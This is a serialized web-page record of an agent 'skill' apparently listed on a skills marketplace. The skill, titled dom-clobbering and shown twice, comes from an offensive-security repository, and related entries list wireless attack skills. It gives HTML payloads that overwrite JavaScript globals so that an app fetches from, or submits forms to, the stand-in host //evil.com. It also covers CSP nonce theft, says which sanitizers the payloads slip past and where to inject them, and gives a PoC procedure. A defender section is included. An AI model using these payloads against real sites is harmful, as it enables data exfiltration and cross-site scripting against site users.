[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EJ78VCCC4QV54MSB7KGV1A":3,"skill-same:01M7EJ78VCCC4QV54MSB7KGV1A":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7EJ78VCCC4QV54MSB7KGV1A","dom-clobbering",null,"DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fdom-clobbering\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: dom-clobbering\ndescription: DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.\nmetadata:\n  when_to_use: \"dom clobbering window globals named elements anchor form innerhtml csp bypass\"\n  mitre_attack: T1059.007\n  subdomain: client-side\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FDOM Clobbering\u002F\n---\n\n# DOM Clobbering\n\nNamed HTML elements (`\u003Cform>`, `\u003Ca>`, `\u003Cinput>`, `\u003Cimg>`) with `name=`\nor `id=` are accessible as JavaScript properties of `window` and `document`.\nIf app code does `if (window.config.endpoint)` and attacker can inject\nHTML (even sanitized), they can replace `window.config` with an HTML\nelement.\n\n## 1. The classic\n```html\n\u003C!-- App code -->\n\u003Cscript>\nif (window.config && window.config.endpoint) {\n    fetch(window.config.endpoint + '\u002Fdata');\n}\n\u003C\u002Fscript>\n\n\u003C!-- Attacker-injected HTML (passes most sanitizers — no script\u002Fevent handlers) -->\n\u003Cform id=\"config\">\u003Cinput name=\"endpoint\" value=\"\u002F\u002Fevil.com\">\u003C\u002Fform>\n```\n\n`window.config` resolves to the form. `window.config.endpoint` resolves\nto the input. `.endpoint` is now `\"\u002F\u002Fevil.com\"`. App fetches from evil.\n\n## 2. Common targets\n\n- `window.location` overwrite (anchor w\u002F `id=location`)\n- Library global config (jQuery's `$.cookie`, etc)\n- CSP nonce\u002Fsource values read from globals\n- `document.cookie` (limited but exploitable)\n- `window.onerror` clobber\n\n## 3. Payload patterns\n\n### Single-element clobber\n```html\n\u003Ca id=\"config\" href=\"\u002F\u002Fevil.com\">\u003C\u002Fa>\n\u003C!-- window.config is the anchor; window.config.toString() returns \"\u002F\u002Fevil.com\" -->\n```\n\n### Multi-level clobber (`a.b.c`)\n```html\n\u003Cform id=\"config\">\u003Cinput name=\"endpoint\" value=\"\u002F\u002Fevil.com\">\u003C\u002Fform>\n\u003C!-- window.config.endpoint = \"\u002F\u002Fevil.com\" -->\n\n\u003C!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->\n```\n\n### CSP nonce theft\n```html\n\u003C!-- App: \u003Cscript nonce=\"ABC123\"> -->\n\u003Cform name=\"nonce\">\u003Cinput name=\"nonce\" value=\"ABC123\">\u003C\u002Fform>\n\u003C!-- Some code reads window.nonce.value (rare but exists) -->\n```\n\n### Cookie attribute hijack\n```html\n\u003Cform name=\"cookie\" action=\"\u002F\u002Fevil.com\">\u003C\u002Fform>\n\u003C!-- document.cookie unchanged but some libs read window.cookie -->\n```\n\n## 4. Where to inject\n\nDOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default,\nsanitize-html, bleach) because they contain no script tags or event\nhandlers. Targets:\n\n- CMS rich-text content\n- Markdown renderers (especially raw HTML-allowed)\n- Comment systems\n- Profile fields rendered into the page\n\n## 5. Detection\n\n```javascript\n\u002F\u002F In browser console on a target page, list all \"named\" elements that exist:\nArray.from(document.getElementsByTagName('*'))\n  .filter(e => e.name || e.id)\n  .map(e => [e.tagName, e.name || e.id]);\n\n\u002F\u002F Then check which of these names also exist as window properties used by app JS\n\u002F\u002F (grep app JS bundle for `window.\u003Cname>` references)\n```\n\n## 6. PoC\n\nFind an HTML-injection sink (not strict XSS) that passes sanitizer\nbecause no JS. Inject the form clobber. Confirm via observed network\nrequest to `\u002F\u002Fevil.com` (DNS-level via interactsh).\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |\n| Clobber of endpoint → exfil PII | High 8.0 |\n| Clobber of OAuth flow config | Critical 9.0 |\n| Standalone clobber w\u002Fo exploitable chain | Low-Medium |\n\n## 8. Defender\n\n- Sanitizers should strip `id=` and `name=` from user content (DOMPurify\n  has `ALLOW_DATA_ATTR: false` + `FORBID_ATTR: ['id', 'name']` config)\n- Use `Object.defineProperty(window, 'config', {value: cfg, writable: false})`\n  for security-critical globals\n- Use scoped namespaces instead of window globals\n- CSP `script-src` w\u002F hashes (not just nonces) — DOM clobbering can't fake the hash\n\n## Cross-references\n- Upstream: `skills\u002F_corpus\u002Fpayloads\u002FDOM Clobbering\u002F`\n- XSS overlap: `skills\u002Fexploit\u002Fweb\u002Fxss.md`\n- CSS injection (similar tactical mindset): `skills\u002Fexploit\u002Fweb\u002Fcss-injection\u002FSKILL.md` (when added)\n\n## Known exemplars\n- Gareth Heyes \u002F PortSwigger 2020 paper \"DOM Clobbering for fun and profit\"\n- Bypass of Google's Closure templating system\n- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains\n","# DOM Clobbering\n\nNamed HTML elements (`\u003Cform>`, `\u003Ca>`, `\u003Cinput>`, `\u003Cimg>`) with `name=`\nor `id=` are accessible as JavaScript properties of `window` and `document`.\nIf app code does `if (window.config.endpoint)` and attacker can inject\nHTML (even sanitized), they can replace `window.config` with an HTML\nelement.\n\n## 1. The classic\n```html\n\u003C!-- App code -->\n\u003Cscript>\nif (window.config && window.config.endpoint) {\n    fetch(window.config.endpoint + '\u002Fdata');\n}\n\u003C\u002Fscript>\n\n\u003C!-- Attacker-injected HTML (passes most sanitizers — no script\u002Fevent handlers) -->\n\u003Cform id=\"config\">\u003Cinput name=\"endpoint\" value=\"\u002F\u002Fevil.com\">\u003C\u002Fform>\n```\n\n`window.config` resolves to the form. `window.config.endpoint` resolves\nto the input. `.endpoint` is now `\"\u002F\u002Fevil.com\"`. App fetches from evil.\n\n## 2. Common targets\n\n- `window.location` overwrite (anchor w\u002F `id=location`)\n- Library global config (jQuery's `$.cookie`, etc)\n- CSP nonce\u002Fsource values read from globals\n- `document.cookie` (limited but exploitable)\n- `window.onerror` clobber\n\n## 3. Payload patterns\n\n### Single-element clobber\n```html\n\u003Ca id=\"config\" href=\"\u002F\u002Fevil.com\">\u003C\u002Fa>\n\u003C!-- window.config is the anchor; window.config.toString() returns \"\u002F\u002Fevil.com\" -->\n```\n\n### Multi-level clobber (`a.b.c`)\n```html\n\u003Cform id=\"config\">\u003Cinput name=\"endpoint\" value=\"\u002F\u002Fevil.com\">\u003C\u002Fform>\n\u003C!-- window.config.endpoint = \"\u002F\u002Fevil.com\" -->\n\n\u003C!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->\n```\n\n### CSP nonce theft\n```html\n\u003C!-- App: \u003Cscript nonce=\"ABC123\"> -->\n\u003Cform name=\"nonce\">\u003Cinput name=\"nonce\" value=\"ABC123\">\u003C\u002Fform>\n\u003C!-- Some code reads window.nonce.value (rare but exists) -->\n```\n\n### Cookie attribute hijack\n```html\n\u003Cform name=\"cookie\" action=\"\u002F\u002Fevil.com\">\u003C\u002Fform>\n\u003C!-- document.cookie unchanged but some libs read window.cookie -->\n```\n\n## 4. Where to inject\n\nDOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default,\nsanitize-html, bleach) because they contain no script tags or event\nhandlers. Targets:\n\n- CMS rich-text content\n- Markdown renderers (especially raw HTML-allowed)\n- Comment systems\n- Profile fields rendered into the page\n\n## 5. Detection\n\n```javascript\n\u002F\u002F In browser console on a target page, list all \"named\" elements that exist:\nArray.from(document.getElementsByTagName('*'))\n  .filter(e => e.name || e.id)\n  .map(e => [e.tagName, e.name || e.id]);\n\n\u002F\u002F Then check which of these names also exist as window properties used by app JS\n\u002F\u002F (grep app JS bundle for `window.\u003Cname>` references)\n```\n\n## 6. PoC\n\nFind an HTML-injection sink (not strict XSS) that passes sanitizer\nbecause no JS. Inject the form clobber. Confirm via observed network\nrequest to `\u002F\u002Fevil.com` (DNS-level via interactsh).\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |\n| Clobber of endpoint → exfil PII | High 8.0 |\n| Clobber of OAuth flow config | Critical 9.0 |\n| Standalone clobber w\u002Fo exploitable chain | Low-Medium |\n\n## 8. Defender\n\n- Sanitizers should strip `id=` and `name=` from user content (DOMPurify\n  has `ALLOW_DATA_ATTR: false` + `FORBID_ATTR: ['id', 'name']` config)\n- Use `Object.defineProperty(window, 'config', {value: cfg, writable: false})`\n  for security-critical globals\n- Use scoped namespaces instead of window globals\n- CSP `script-src` w\u002F hashes (not just nonces) — DOM clobbering can't fake the hash\n\n## Cross-references\n- Upstream: `skills\u002F_corpus\u002Fpayloads\u002FDOM Clobbering\u002F`\n- XSS overlap: `skills\u002Fexploit\u002Fweb\u002Fxss.md`\n- CSS injection (similar tactical mindset): `skills\u002Fexploit\u002Fweb\u002Fcss-injection\u002FSKILL.md` (when added)\n\n## Known exemplars\n- Gareth Heyes \u002F PortSwigger 2020 paper \"DOM Clobbering for fun and profit\"\n- Bypass of Google's Closure templating system\n- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"client-side","dom clobbering window globals named elements anchor form innerhtml csp bypass","T1059.007","skills\u002F_corpus\u002Fpayloads\u002FDOM Clobbering\u002F","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fdom-clobbering",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill dom-clobbering",{"tool":42,"command":43},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill dom-clobbering",{"tool":45,"command":46},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill dom-clobbering","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fdom-clobbering\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]